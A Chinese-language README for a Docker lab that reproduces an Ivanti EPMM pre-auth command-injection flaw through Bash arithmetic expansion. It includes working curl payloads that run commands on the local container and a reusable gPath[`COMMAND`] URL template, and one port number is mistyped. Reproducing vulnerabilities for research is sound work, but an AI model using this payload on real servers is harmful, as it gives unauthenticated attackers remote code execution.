一个简单的演示应用,用于展示如何复现 Ivanti EPMM 预认证 RCE 漏洞(CVE-2026-1281 / CVE-2026-1340),仅供教育和安全研究目的使用。
该漏洞利用了 Bash 算术展开(arithmetic expansion)的行为。当在算术上下文中使用一个包含对其他变量引用的变量时,如果被引用的变量包含带有命令替换的数组索引,则该命令会被执行。
st=theValue (字面字符串 "theValue" 并带有填充)h=gPath[\command`]`(数组索引中的命令)theValuegStartTime 被设置为字面字符串 "theValue"theValue 包含 gPath[\command`]`[[ ${currentTime} -gt ${gStartTime} ]] 被求值时:
${gStartTime} → "theValue"(字符串)theValue 视为变量引用theValue → gPath[\command`]`# 构建并启动容器
docker-compose up --build -d
# 检查是否运行正常
curl http://localhost:8180/health
创建一个文件以证明命令执行:
# URL 编码的载荷:id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"
# 检查文件是否已创建
cat artifacts/poc
使用 sleep 命令进行验证:
# 响应应耗时约 5 秒
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"
# 写入自定义内容
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"
cat artifacts/pwned
/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMMAND%60%5D/uuid.ipa
│ │ │ │
│ │ │ └─ 载荷:gPath[`COMMAND`]
│ │ └─ 结束时间戳(任意 10 位数字)
│ └─ 关键:字面 "theValue" + 2 个空格(共 10 个字符)
└─ 密钥索引(任意值)
# 查看容器日志
docker-compose logs -f
# 进入容器获取 shell
docker exec -it ivanti-epmm-vuln /bin/bash
# 查看 nginx 错误日志
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log
docker-compose down
rm -rf artifacts/*
本工具仅用于教育和授权安全测试目的。请勿将其用于您不拥有或未经明确许可进行测试的系统。